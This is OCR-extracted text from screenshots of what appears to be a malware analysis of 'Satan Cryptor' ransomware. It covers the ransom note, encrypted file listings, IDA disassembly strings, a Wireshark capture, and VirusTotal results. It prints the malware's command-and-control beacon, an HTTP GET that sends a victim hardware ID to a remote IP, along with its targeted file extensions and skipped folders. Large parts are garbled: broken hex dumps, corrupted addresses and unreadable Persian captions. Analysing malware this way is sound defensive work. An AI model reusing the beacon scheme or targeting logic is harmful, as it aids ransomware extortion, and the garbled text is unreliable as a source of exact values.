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File Edit Format View Help
Hi i'm Satan Cryptor -

some files have been encrypted

Please send 0.3 bitcoins to my wallet address

If you paid, send the machine code to my email

I will give you key

If there is no payment within three days,

we will no Tonger support decryption

We support decrypting the test file.

send three small than 3 MB files to the email address
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O oly 2= si=8 AIEHE SsUcH

HAE nel &= si=8 AJELICH

OIME F0 3MB OIFte] mi H JHE =2HLICH

BTC wallet :1Gj29ymtgwhnxwWMEhZ7nAgthBfso6LXb5P
Email:satan_pro@mail.ru
Your HardwareID: UERKH376R637S57BZD8VKURAFUJYYBHFOQKPOSNRUMTL 2Q9CRQWXF1DNN3US9IEGIB
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@C@-\ ~ » Computer + Media (E)

Organize ~ «J] Open ~ Print Burn New folder

¢ Favorites Name b Date modified Type Size
Ml Desktop CSharplnteractive.rsp.satan 5/9/2018 8:56 PM SATAN File 1KB
ls Downloads dnSpy.Contracts.Debugger.DotNet.CorDebug.pdb.satan 5/9/2018 8:56 PM SATAN File 24 KB
<» Recent Places dnSpy.Contracts.Debugger.DotNet.CorDebug.xml.satan 5/9/2018 8:56 PM SATAN File 12 KB
dnSpy.zip.satan 5/9/2018 8:46 PM SATAN File 23,553 KB
4 Libraries | How_to_decrypt_files.txt 5/9/2018 8:46 PM Text Document 2KB
<3 Documents test file (1).bak.satan 5/9/2018 8:46 PM SATAN File 83 KB
<& Music test file (1).docx.satan 5/9/2018 8:47 PM SATAN File 13KB
5 Pictures test file (1).dwg.satan 5/9/2018 8:47 PM SATAN File 115KB
B videos test file (1)jpg.satan 5/9/2018 8:47 PM SATAN File 404 KB
test file (1).key.satan 5/9/2018 8:47 PM SATAN File 1KB
& Computer test file (1).kmzsatan 5/9/2018 8:47 PM SATAN File 1KB
& Local Disk (C) test file (1).m.satan 5/9/2018 8:47 PM SATAN File 2KB
w» Media (E) test file (1).mov.satan 5/9/2018 8:47 PM SATAN File 1,526 KB
test file (1).mp3.satan 5/9/2018 8:47 PM SATAN File 6,233 KB
€ Network test file (1).mpd.satan 5/9/2018 8:47 PM SATAN File 48,438 KB
test file (1).nfo.satan 5/9/2018 8:47 PM SATAN File 3KB
test file (1).pdfsatan 5/9/2018 8:47 PM SATAN File 510 KB
test file (1).PNG.satan 5/9/2018 8:47 PM SATAN File 12 KB
test file (1).rarsatan 5/9/2018 8:46 PM SATAN File 72,215 KB
test file (1).srtsatan 5/9/2018 8:47 PM SATAN File 66 KB
test file (1).urlsatan 5/9/2018 8:47 PM SATAN File 1KB
test file (2).bak.satan 5/9/2018 8:46 PM SATAN File 90 KB
test file (2).docx.satan 5/9/2018 8:47 PM SATAN File 539 KB
test file (2)JPGsatan 5/9/2018 8:47 PM SATAN File 134 KB
test file (2).mp4.satan 5/9/2018 8:47 PM SATAN File 801 KB
test file (2).rar.satan 5/9/2018 846 PM SATAN File 29,909 KB
test file (3)jpg.satan 5/9/2018 8:47 PM SATAN File 226 KB
precompletesatan 5/9/2018 8:46 PM SATAN File 101 KB
removed-filessatan 5/9/2018 8:46 PM SATAN File 1KB

application.inisatan 5/9/2018 8:46 PM SATAN File 1KB
dependentlibs.listsatan 5/9/2018 8:46 PM SATAN File 1KB

How_to_decrypt files.txt Date modified: 5/9/2018 8:46 PM Date created: 5/9/2018 8:46 PM

Text Document Size: 1.23 KB
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& » Computer » Local Disk (C) »

GL-

Organize ~ Share with = Burn New folder
“ Favorites Name : Date modified Type Size
M Desktop | Office 2013 Crack 3/17/2018 433 PM  File folder
l4 Downloads | Perflogs 7/14/2009 7:.07 AM  File folder
«» Recent Places | Program Files 3/17/2018 426 PM  File folder
| Python27 3/14/2018 1:.04 PM File folder
- Libraries [ sTv22 5/9/2018 1023 PM _ File folder |
.. Documents |. Toals 2/13/2018 12:37 PM  File folder
& Music I, Users 3/14/2018 12:18 PM  File folder
5, Pictures | Windows 4/13/2018 10:17 PM  File folder
B videos autoexec.batsatan 5/9/2018 10:24 PM  SATAN File 1KB
BOOTSECT.BAK satan 5/9/2018 10:23 PM  SATAN File 9KB
& Computer How_to_decrypt_files.txt 5/9/2018 10:24 PM  Text Document 2KB
& Local Disk (C)
+ Media (E)

Loy 55 5 psal 3 el jas de gls LB C:\Users\admin . ;s &S L3 5 stalin .

U o Sl J‘f"d’.

Name Date modified Type Size
AppData 3/14/2018 1218 PM  File folder

& Contacts 5/9/2018 9:55 PM File folder

W Desktop 5/9/2018 9:55 PM File folder

4 Downloads 5/9/2018 9:44 PM File folder

k. Favorites 371472018 12219 PM  File folder

8 Links 3/14/2018 1219 PM  File folder

' My Documents 371472018 12219 PM  File folder

¥ My Music 371472018 12219 PM  File folder

& My Pictures 5/9/2018 10:08 PM File folder

B My Videos 5/9/2018 3:41 PM File folder

i Saved Games 3/14/2018 1219 PM  File folder

L Searches 5/9/2018 9:57 PM File folder
ntuser.datLOG1satan 5/9/2018 357 PM SATAN File 1KB
ntuser.datLOG2 satan 5/9/2018 357 PM SATAN File 1KB
NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824). TM.bif satan 5/9/2018 3:57 PM SATAN File 65 KB
NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824). TMContainer00000000000000000001 regtrans-ms.satan  5/9/2018 9:57 PM SATAN File 513 KB
NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824). TMContainer00000000000000000002 regtrans-ms.satan  5/9/2018 9:57 PM SATAN File 513 KB
NTUSER.DAT{202c9979-284b-11e8-8c58-000c29639684). TM.blf.satan 5/9/2018 3:57 PM SATAN File 1KB
NTUSER.DAT{202c9979-284b-11e8-8c58-000c29639684). TMContainer00000000000000000001 regtrans-ms.satan ~ 5/9/2018 9:57 PM SATAN File 1KB
NTUSER.DAT{202c9979-284b-11e8-8c58-000c29639684). TMContainer00000000000000000002 regtrans-ms.satan  5/9/2018 9:57 PM SATAN File 1KB
ntuser.ini.satan 5/9/2018 9:57 PM SATAN File 1KB
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00000000
00000010
00000020
00000030
joooo0040
00000050
j00000060
00000070
00000080
00000090
J000000A0
00000080
jo00000cO
100000000
00000020
jocoooor0
00000100
00000110
00000120
00000130
jooo00140
100000150
100000160
00000170
100000180
00000120
j000001A0
100000180
0000010
00000100
00000120
00000170
00000200
00000210
jooo00220
100000230
00000240
00000250
100000260
joooo0270
joco00280
00000290
jn0onn2an
5/9/2018 10:24:41 PM |

Files are very different!
Compare It! could not find any significant same blocks

00000170
00000180
00000190
j000001A0
00000180
10000010
00000100
00000120
00000170
00000200
00000210
joo000220
00000230
00000240
joo000250
joo000260
00000270
joo000280
00000220
joonno2zan
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== test file (2).mp4.satan + test file (2).mp4 - Compare It 42 o
File Edit Merge View Options Tools Help Register!
B B3 b
joooc7r20 » foooc7ean cr -
oooc7e30 oooc7es0  E8
looocTe40 oooc7eco EC
j000C7PS0 joooc7E2D0 7B 0«
oooc7ren oooc7eeo e
oooc7E70 oooc7ere  2¢
joooc7r80 joooc7P00  BO
loooc7ee0 oooc7e10 EL
ooocTea0 S50, 5 am  fooocTe20 08 A5, 3 S
oooc7es0 foooc7e30 B4
oooc7eco oooc7es0  2¢
oooc7zn0 oooc7eso 70
loooc7een oooc7een 3D
oooc7ero oooc7e70 39
j000C8000 joooc7PE0 51
j000Cc8010 jooocTP0 37
josocsozo oooc7eno 1
j000C8030 joooCTPBO 15
ooocsoso foooc7rco 9
ooocsoso foooc7e0 98
looocsoeo oooc7eEn 3¢
j000c8070 000C7PPO AC
joooce08o jooocs000 BB
j000C8090 jooocso1o 1r
ooocsoao ooocso20 87
ooocsoso 000c8030 19 00 OA SB 43 00 OA SC 68 00 OA 8F 98 00 OA SC
jooocsoco j000C8040 09 00 OA A2 CC 00 OA AB 2E 00 OA AP 9D 00 OA Bl
ooocsono 000c8050 DS 00 OA D6 9F 00 OA DF 22 00 OA E4 FE 00 OA E8
looocsoeo 000c8060 P4 00 OA EE 1C 00 OA EF 82 00 08 OF 0B 00 08 17
jooocsoro jo00c8070 cp 00 0B 1D 19 00 0B 23 OC 00 0B 25 02 00 0B 27
looocs100 o00c8080 01 00 0B 39 BD 00 0B 41 4B 00 0B 4F 62 00 0B 53
ooocs110 jooocsogo 19 00 0 S8 72 00 0B SC B2 00 0B €5 55 00 0B Bl
ooocs120 £57.56. 000c80A0 49 00 08 CF 4F 00 08 DA B0 00 0B EE DO 00 08 FO
jooocs130 o1 [Hardwazers) | ooocs0s0 6 00 08 £2 8D 00 08 FA 18 00 0C 19 F7 00 OC 26
fooocs140 fooocsoco 74 00 0C 37 DC 00 OC 39 F1 00 OC 38 08 00 0C 4C
j000c8150 F78405° j000CBODO 9B 00 00 00 62 75 64 74 61 00 00 00 SA 6D 65 74
looocs160 ¥GCYT jooocg0e0 61 00 00 00 00 00 00 00 21 68 €4 €C 72 00 00 00
joooce170 H81470K8L282C60D) jo00C80P0 00 00 00 00 00 6D 64 69 72 61 70 70 6C 00 00 00
jooocs180 1111 [FUBLIC) : (3 jooocs100 00 00 00 00 00 00 00 00 00 2D €9 6C 73 74 00 00
j000c8190 j000C8110 00 25 A9 74 6F 6F 00 00 00 1D €4 61 74 61 00 00
J000CB1A0 000C8120 00 01 00 00 00 00 4C €1 76 66 35 37 2B 35 36 2¢
joooce180 A 4 Jooocs13o 31 30 31 J
5/9/2018 10:24:42 PM | B00.4 KB (819634) | 100000000 ) | 3/2/2018 10:30:20 PM | 800.3 KB @19507) | 100000000 ()
Targetonly Ch v e ¥ ow NUM
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‘ IDA View-A a | @ Hex View-1 B | Structures B | H Enums B |

® UPx1:08471928 unicode 8, <Hi i>
UPX1:08471928 dw 27h
UPX1: 08471928 unicode @, <m Satan Cryptor>
UPX1:08471928 dw 2 dup{Bah)
UPK1:088471928 unicode @, {Some files have been encrypted>
UPX1:08471928 dw 8aAh
UPX1:00471928 unicode @, <{Please send 8.3 bitcoins to my wallet address>
UPX1:08471928 dw 8aAh
UPX1:088471928 unicode 8, <If you paid, send the machine code to my email>
UPX1:08471928 dw BAh
UPX1:008471928 unicode B8, <I will give you key>
UPX1:08471928 dw BAh
UPH1:08471928 unicode 8, <If there is no payment within three days,>
UPX1:08471928 dw 6nh
UPK1:08471928 unicode @, <{we will no longer support decryption>
UPX1:08471928 dw 8aAh
UPK1:088471928 unicode @, {We support decrypting the test file.>
UPX1:08471928 dw 8aAh
UPX1:00471928 unicode 8, <send three small than 3 MB files to the email address>
UPX1:08471928 dw 2 dup{8ah}

“ UPX1:08471BCA dw 98E8h
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UPX1:086471E88
UPX1:88471E98 ;

IDA View-A (] | =] Hex View-1 | Structures B8 | Enums B |
UPX1:06471E40 ; const WCHAR off_471E48

UPX1:00471E4D off_471ELD dd offset asc M6FFFC+35h ; DATA XREF: sub 40F2BB+EATo

UPXA:06471E4L aJ29ymtguwhnxwme -

UPX1:00471E44 unicode 8, <j29¥mtguwhnxWHMEhRZ7nAgtbBfs06LXb5P>,0

UPX1:088471E86 align &4

UP%1:00471E88 aEmail db B8ah ; DATA XREF: sub_L4BFS8EB+F4To

db 'Email:",@
const WCHAR aSatan_pro_mail

UPX1:88471E98 aSatan_pro@mailg - EF: sub_4@F8B@+113To
UPX1:008471E90 I unicode B, <{satan_pro@mail.ru>,8

UPX1:00471EB4 asc_471EBA: H

UPX1:00471EBY

UPX1:80471EBS aYourHardwareid db 6ah

UPX1:00471EBS
UPX1:00471ECE

UPX1:00471ECE aG3t_v22 dh

UPX1:08471ED7

UPX1:0868471ED8 aCHow_to_decryp dh i \How to decrypt Flles txt'
UPX1:88471EFL aSt

UPX1:08471EF7

UPX1:00471EF8 aBk

UPX1:00471EFB

UPX1:88471EFC aDb

UPX1:08471EFF

UPX1:-00471FB80 afll

UPX1:00471F B4 ;

UPEA:80471F04 Parameters

UPX1:00471F28 ;

UPX1:080471F28 File

UPX1:088471F2C

EF: sub_4BF8B@+195To
dw 6ah, B

; DATA XREF: sub_L4BF8EB+163To
db 'Your HardWarelID: *,8

; DATA SREFf sub_u4@FS6B+43To
align 4
DATA XREF: sub_hBFD8@+12To

sub_4BFDEB+1CTo

allgn h

db ‘BK®,8 ; DATA XREF: sub_4BFDE0:loc_4BFDDDTo
align &4

db ‘DB',8 ; DATA XREF: sub_4BFD8@:loc_A4BFE14To
align 18h

db ‘ALL",8 ; DATA XREF: sub_4BFDE0:loc_4BFE4DTo

CHAR Parameters[]
db ‘C:\How to_decrypt_files.txt',8 ; DATA KREF: sub_A40FD80+DETo
db §*notepad.exe’,8

CHAR File[]
DATA XREF: sub_4BFD8A+E8To

UPX1:00471F2C aBadCast db =00 £4d L ; DATA XREF: sub_408568+E8To

UPX1:08471F35

UPX1:086471F38 aBadLocaleMame

sub_408Fu4B+E8TO
align 4
db ‘bad locale name',8 ; DATA XREF: sub_. 4828n0+8FTo

UPX1:080471F48 aCProgramFile_1 db 'C:\Program Files (x86)\Microsoft Visual Studio 14.6\UC\includeixl®

UPX1:00471F48
UPX1:00471F48
UPX1:00471F48

UPX1:00471F8F byte_A471F8F

UPX1:08471F8F

UPX1:88471F98 aCProgramFile_2:

UPX1:08471F98

; DATA XREF: sub_4@2AEB+FTo
Suh_hﬂ2CSB+3CTD -

db ‘ocale’,8
db 8 DATA XREF: sub_s@2C38+6CTo
sub_4@9eD@+6CTo ..

DATA XREF: sub_4@2D2@8+1FTo

sub_u82D28+3aT0 ...

izt

AL e Lal Bl (e dmsOLIS  peal S8 e 3L Gl w base pluld U G b

IDA View-A ] | @l Hes View-1 | Structures | | Enums x| |
UPK1:00471888 acabCount_php?s db '/cabfcount.php?stauts=',8 ; DATA XREF: sub A4BEEDG+38To
UPX1:BB47189F align 18h
UPX1:-B6471800 aCode db ‘&code=",8 ; DATA XREF: sub 4BEEDB+3DTo
UPX1:B8B4718A7 align 4
UPE1:004718A8 ; const WCHAR pszAgentd
UPX1:-00471808 pszAgentl: ; DATA XREF: sub A4BEEDG+131To

UPX1:004718A8
UPX1:084718CH
UPX1:004718CY
UPX1:-004718CY
UPX1:08B4718E2
UPX1:004718EY
UPX1:084718EL
UPX1 - 08B4718EL
UPX1:004718F6
UPX1:084718F8
UPX1:004718F8
UPX1:004718F8
UPX1:088471908
UPX1:00471913
UPX1:-00471914
UPX1 088471927
UPX1:00471928
UPX1:08471928
UPX1:00471928

unicode 8, <Winnet Client>,8
; const WCHAR pswzServerHame

pswzserverHame : %REF: sub_M4BEED@+146To
unicode O,J<58._222_181_.122>.48

align 4

; const WCHAR pwszVersion

puszUersion: ; DATA XREF: sub_4BEEDB+164To
unicode 8, <HTTP/1.1>,08
align &4

; const WCHAR pwszUerb

puszUerb: s _DATA XREF: sub_Y4BEEDB+180To

unicode B8, <GET>,8
db 'C:\ST_U22\KSession"
align &4

db *C:\ST_U22\KSession',B8; DATA XREF: sub 40F1708+18aTo

abst_v22Ksess_ ,80; DATA XREF: sub_40FE88+C3To

aCSt_v22Ksessi

; const WCHAR WideCharSte
WHideCharStr: DATA XREF: sub_48F3BB+5ETo

sub 40F8EB+A9TO

J‘J.ﬁ‘cl.: w‘ L.w‘}; ol o)u‘ LSLAJ"")""":’.L’j:’.) duuﬁ DL bj}jﬂ LSLAJ%LQ ol <=L>u| LSLAL;"")J" ‘}\L
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IDA View-A a8 ‘ @ Hex View-1 x| | Structures B
UPX1:88471814 aCab_2 db ‘cab’,8
UPX1:-00471818 aDll 2 db "dll',8
UPX1:8847181C aMsi_2 db 'msi’,@
UPX1:00471820 aExe_ 2 db ‘exe’',B
UPX1:88471824 alLib_3 db '1lib’,@
UPX1:00471828 also_ 2 db 'iso’,0
UPX1:8847182C aBin_2 db 'hin’,@
UPX1:00471830 aBmp_2 db ‘bmp’,8
UPX1:88471834 aTmp_2 db “tmp‘,8
UPX1:00471838 aLog 2 db 'log’,8
UPX1:8847183C alcx_2 db ‘ocx',8
UPX1-00471840 aChm_2 db ‘chm',B8
UPX1:88471840 aDat_2 db "dat’,8
UPX1-00471848 aSys 5 db ‘sys’',@
UPX1:8047184C aWim_2 db 'wim',8
UPX1:-00471850 aSys_6 db ‘sys’',@
UPX1:88471854 aDic_2 db 'dic’,@
UPX1-00471858 aWdf_o6 db ‘mdf’,B8
UPX1:8047185C aLdf_6 db "1df’,8
UPX1-00471860 aHyd_6 db ‘myd’,@
UPX1:88471864 aMyi_6 db '‘myi‘,8
UPX1-00471868 aFrm_6 db ‘frm',B8
UPX1:8047186C aDbf_6 db ‘"dbf’,8
UPX1:00471870 aSdi_2 db 'sdi’,@
UPX1:88471874 alnk_2 db "1nk',8
UPX1:00471878 aGho_2 db ‘gho’,8
UPX1:8847187C aPbk_2 db “pbk*,8
UPX1:-00471880 aSatan_14 db 'satan’.@
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KERNELYY.dII

ExitProcess
GetProcAddress
LoadLibraryA
VirtualProtect

shellYY.dll
ShellExecuteA

il odel 5 g 53 eslizul 350wl ol pen 4 Lkl

ADVAPIYY.dII

OpenServiceA

WINHTTP.dII
WinHttpOpen

IDA View-A B | @ Hex View-1 B | Structures x| | Enums [x] |
UPX1:004710EC aWindows db ‘windows',8 DATA XREF: Suh_h09868+18010
UPX1:004710F4 aPython2 db ‘python2*,8 DATA XREF: sub_u4B9C66+196To
UPX1:004710FC aPython3 db ‘python3’,a DATA XREF: Suh_h09868+1nCTo
UPX1:00471184 aMicrosoftGames|db 'microsoft games',8 DATA XREF: sub_489C66+1C2To
UP¥1:00471114 aBoot db 'boot",8 DATA XREF: sub_4B9C60+1D8To
UPX1:88471119 align 4
UPEA-BB47111C al38b db "i386°,8 DATA XREF: sub_489C68+1EETo
UPX1:88471121 align 4
UPX1:00471124 ast_v22 db "ST_U22',8 DATA XREF: sub_4B9C60+284To
UPX1:8847112B align 4
UPXA:0847112C alntel db ‘intel’,8 DATA XREF: sub_489C66+21aTo
UPX1:88471132 align 4
UPX1:00471134 aDvdMaker db ‘dud maker®,8 DATA XREF: sub_u489C68+230T0
UPX1:8847113E align 18h
UPX1:08471148 aRecycle db ‘recycle’,8 DATA XREF: sub_489C608+246To
UPE1:004711428 aJddk db *jdk’,8 DATA XREF: sub_489C66+25CTo
UP¥1:0047114C aLib db "lib',8 DATA XREF: Suh_h09868+2?2T0
UP¥1:00471158 aLibs db "libs",8 DATA XREF: sub_409C60+288To
UPX1:88471155 align 4
UPX1:080471158 afallUsers db 'all users',8 DATA XREF: 5uh_hﬂ?ﬁﬁﬂ+29ETu
UPX1:88471162 align 4
UPEA 08471164 adbélrec db *368rec’,8 DATA XREF: sub_409C608+2B4To
UPX1:0847116B align 4
UPXA 08471160 aldbéBsec db *368sec’,8 DATA XREF: Suh_h09868+289T0
UPX1:88471173 align 4
UPEA:08471174 a36@sand db '368sand’,8 DATA XREF: Suh_h09868+2Eﬂfo
UPX1:0047117C aFavorites dh ‘favorites',@ DATA XREF: suh_uﬂgcﬁﬂ+2FﬁTu
UPX1:88471186 align 4
UPX1:00471188 aCommonFiles db '‘common files',@ DATA XREF: suh_h0986ﬂ+3ﬂcTo
UPX1:88471195 align 4
UPX1:08471198 alnternetExplor|db ‘internet explorer',8|; DATA XREF: sub_409C60+322To
UPX1:884711AA align 4
UPX1:004711AC aMsbuild db 'msbuild’,@ DATA XREF: Suh_h09868+33810
UPX1:084711B4 aPublic db ‘public’,@ DATA XREF: sub_u489C68+34ETo
UPX1:884711BB align 4
UPXA:084711BC a36éBdownloads db '368downloads’,8 DATA XREF: sub_409C60+364To
UPX1:884711C9 align 4
UP#1:884711CC aWindowsDefen db 'windows defen',B DATA XREF: sub_h09860+3?nTo
UPX1:884711DA align 4
UPX1:004711DC aWindowsHail db 'windows mail',®@ DATA XREF: sub_u89C60+390T0
UPX1:084711E9 align 4
UPX1:0084711EC aWindowsHediaPl|db ‘windows media pl°',8 | DATA XREF: sub_489C68+3a6To
UPX1:884711FD align 18h
UPX1:00471200 aWindowsHt db 'windows nt',8 DATA XREF: sub_4B9C60+3BCTo
UPX1:8847128B align 4
UP51:0047120C aWindowsPhotoUi| db ‘windows photo viewer|,® ; DATA XREF: sub_489C68+3D02To
UPX1:88471221 align 4
UPX1:00471224 aWindowsSidebar|db 'windows sidebar',8 DATA XREF: sub_4B9C606+3E8To
UPX1:00471234 abDefaultlUser db ‘default user’,8 DATA XREF: sub_489C68+3FETo
UPX1:88471241 align 4
UPX1:8047124% aProgramdata db ‘programdata’,f DATA XREF: sub_4B9C60+414To
UPX1:88471258 a_ jdb *.",0 DATA XREF: sub_489C68+4BCTo
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Satan Cryptor vYY.exe

03 e u‘”‘)"'d% rt&ﬁ. 5 355 s 3=l notepad.exe Al 3 )\J-A\CL_, a by el B asls 5l e

PSS Sl e

e e 0L | Satan Cryptor vYY [l » L glass Dbl )l 5l hou 5 s

Mo, Time Source
1 0.000000 192.168.1.36
28.637467 58.222.181.122
3 8.637535 192.168.1.36
40.637817 192.168.1.36
51.829767 58.222.181.122
61.243537 192.168.1.36

7 11.679437 58.222.181.122

8 11.679509 192.168.1.36

9 11.679738 192.168.1.36

10 12.9889472 58.222.181.122

11 28.699367 205.171.2.65

12 32.76197@ ZyxelCom_99:36:cc

13 43.236544 192.168.1.36

14 43.7308596 58.222.181.122

15 43.730649 192.168.1.36

16 43.738823 192.168.1.36

17 44.242504 58.222.181.122

18 44.438406 192.168.1.36

19 44.565894 192.168.1.36

20 45.164173 58.222.181.122

21 45.375184 192.168.1.36
5

Destination
58.222.181.122
192.168.1.36
58.222.181.122
58.222.181.122
192.168.1.36
58.222.181.122
192.168.1.36
58.222.181.122
58.222.181.122
192.168.1.36
192.168.1.35
Vmiare_63:96:84
58.222.181.122
192.168.1.36
58.222.181.122
58.222.181.122
192.168.1.36
58.222.181.122
58.222.181.122
192.168.1.36
5§.222.181.122

- Expression...  +
Protocol  Length  Info =
TP 66 49251 + 8@ [SYN] Seq=9 Win=8192 Len=B M5S=145@ WS=256 SACK_PERM=1 3
TP 66 89 > 49251 [SYN, ACK] Seq=B Ack=1 Win=16384 Len=0 MS5=1484 WS=1 SACK PERM=1 Wl
TP 54 49251 » 88 [ACK] Seg=1 Ack=1 Win=65792 Len=0
HTTP 238 6ET /cab/count.. php?stauts=ST&code=HiBP30NEDXO4BCF1H2GIMOK2QL 20RH7KCEHRNF XND23SRTAXR741FHPLDW3EKL1S HTTP/1.1
HTTP 454 HTTP/1.1 200 OK (text/html)
TP 54 49251 » 80 [ACK] Seq=185 Ack=481 Win=65536 Len-@
TP 6088 » 49251 [FIN, ACK] Seq-481 Ack=185 Win=65351 Len=8
T 54 49251 » 88 [ACK] Seq=185 Ack=482 Win=65536 Len-@
TP 54 49251 » 80 [FIN, ACK] Seq-185 Ack=482 Win-65536 Len-8
TP 60 88 > 49251 [ACK] Seq=402 Ack=186 Win=65351 Len
DS 127 Standard query response @xff85 TXT ngrudfnr2aSudftdjSeaml42kdbgeagbacaq.a.e.e5.sk TXT
ARP 60 192.168.1.1 is at 58:8b:3:99:36:cc
TP 66 49252 > 88 [SYN] Seq=9 Win=8192 Len=8 M5S=146 WS=256 SACK_PERM=1
TP 66 89 > 49252 [SYN, ACK] Seq=B Ack=1 Win=16384 Len=0 MS5=1484 WS=1 SACK PERM=1
TP 54 49252 > 88 [ACK] Seg=1 Ack=1 Win=65792 Len=B
HTTP 238 GET /cab/count. php?stauts=BK&code-HiBP30NEDXO4BCF1H2GIMOK2QL 20RH7KCBHRNF XND23SRTAXR741FHPLDW3EKLIS HTTP/1.1
HTTP 203 HTTP/1.1 200 OK
TP 54 49252 » 88 [ACK] Seq=185 Ack=248 Win=565536 Len-8
HTTP 238 6ET /cab/count. php?stauts=DB&code-HiBP30NEDXO4BCF1H2GIMOK2QL 20RH7KCBHRNF XND235RTAXR741FHPLDW3EKL1S HTTP/1.1
HTTP 202 HTTP/1.1 200 OK

TCP 54 49252 » 80 [ACK] Seq=369 Ack=478 Win=65280 Len:

Len

25 47.314566 192.168.1.36 104.25.218.21 TCP 54 49247 » 443 [ACK] Seg=2 Acl

26 55.609044 58.222.181.122 192.168.1.36 TP 60 88 » 49252 [FIN, ACK] Seq=478 Ack=369 Win=65167 Len=0

27 55.609138 192.168.1.36 58.222.181.122 TP 54 49252 + 8@ [ACK] Seq=369 Ack=479 Win=65280 Len=0

28 55.609808 192.168.1.36 58.222.181.122 TP 54 49252 » 8@ [FIN, ACK] Seq=369 Ack=479 Win=65280 Len=0

29 56.836541 58.222.181.122 192.168.1.36 TP 60 88 » 49252 [ACK] Seq=479 Ack=378 Win=65167 Len=0

30 58.512335 +e80::6922:6cab:2al.. DHCPvE 157 Solicit XID: 8x397345 CID: 00918001223b2c82080c29639684 N
1 S0 £30760 £a00--£077-Eeah-2a1  £07--1. nurD. 157 €alicit VIN- Gw307145 £TN- GAA1AARLY 10530504

Frame 111: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 8

Ethernet II, Src: Vmmere §3:96:84 (90:0c:29:63:96:84), Dst: ZyxelCom 99:36:cc (58:8b:f3:99:36:cc)
Internet Protocol Version 4, Src: 192.168.1.36, Dst: 93.184.220.29

Transmission Control Protocol, Src Port: 49254, Dst Port: 88, Seq: 355, Ack: 2, Len: @

58 8b f3 99 36 cc @@ Gc 29 63 96 84

03 09 45 @@  X...6... )c....E. =

O 7 vireshark 8 -FCBEIBESB2B1

| 203532

Packets: 235 - Displayed: 235 (100.0%) Frofile: Default
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38E582B1_20180509204550_a02884 E@Q

GET /cab/count.php?stauts=ST&code=UERKH376R63757BZD8VKURAFUIYYBHFOQKPBSNRUMI L2Q9CRQWXFIDNN3US9E6I8 HTTP/1.1
Connection: Keep-Alive

User-Agent: Winnet Client

Host: 58.222.181.122

HTTP/1.1 200 OK

Date: Wed, @9 May 2018 16:15:54 GMT
Server: Apache/2.98.47 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Content-Length: 159

Keep-Alive: timeout=10, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=gb2312

INSERT INTO g5_emp (token,ip,stauts,time)
VALUES ("UERKH376R637S7BZD8VKURAFUJYYBHFOQKPOSNRUMIL2Q9CROWXFIDNN3US9EEI8™, "89.37.243.127","ST", "2018-05-10 00:15:54")

Packet 5. 3 client phts. 2 server pkts, 3 turns. Oick to select.

[Ermre conversation (584 bytes) A Shows and save data as Stream 0 |5
[F\\ter Qut This Stream] [ Print ] [ Save as... ] [ Back ] [ Close ] [ Help ]
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4 L3 VirusTotal wlslw ;5 552 50 5l 5310 d:j} s 6:.,T T sla, e 8V sliws ol Jl- s

Antiy-AVL
Avast

Avira

CAT-QuickHeal

CrowdStrike Falcon

F-Secure
GData

K7AntiVirus

McAfee-GW-Edition

Palo Alto Networks

Qihoo-360

Sophos AV

TrendMicro

VBA32

N Nl N N N

S o b e b B 1 0T 03 18 2 cnl bl

Gen:Variant.Razy.289004
Trojan/Win32.DownlLoader.C2452804
Trojan|Ransom|/Win32.Cryptor
Win32:Malware-gen

TR/FileCoder.ygcuy

Win32.Trojan.WisdomEyes.16070401....

TrojanGENERIC
malicious_confidence_60% (W)
W32/Trojan.UH5X-9228
Gen:Variant.Razy.289004
Gen:Variant.Razy.285004
Gen:Variant.Razy.285004

Riskware ( 0040eff71 )
HEUR:Trojan.Win32.Generic
malware (ai score=59)
BehavesLike. Win32.Generic.cc
genericml
HEUR/QVM11.1.6129.Malware.Gen
Mal/Generic-S

Downloader
Ransom_NATAS.THDABAH
suspected of Trojan.Downloader.genh
W32.Malware.Gen

HEUR:Trojan.Win32.Generic

AVG

AVware

ESET-NOD32
Fortinet

Ikarus

Malwarebytes

Microsoft

SentinelOne

Sophos ML

Tencent
TrendMicro-HouseCall
VIPRE

Yandex

Avast Mobile Security

oppPPPEPEPEPPPPPEPRPPPPPEDEDEDPDPP

Troj.W32.Genericlc
Trojan.Ransom.Satan
Trojan.Razy.D468EC
Win32:Malware-gen
Trojan.Win32.Generic!8T
Gen:Variant.Razy.289004
UnclassifiedMaiware
Unsafe
Gen:Variant.Razy.283004 (B)
Win32/Filecoder.NQC
W32/Generic!tr
Trojan-Ransom.SatanCryptor
Riskware { 0040eff71)
Ransom.SatanCryptor
RDN/Generic Downloader.x
Trojam:Win32/Occamy.C
Trj/GdSda.A

static engine - malicious
heuristic
Win32.Trojan.Filecoder.Eibg
Ransom_NATAS THDABAH
Trojan.Win32.Generic!8T
Trojan.Agent!dbELLmMkQzmé4

Clean



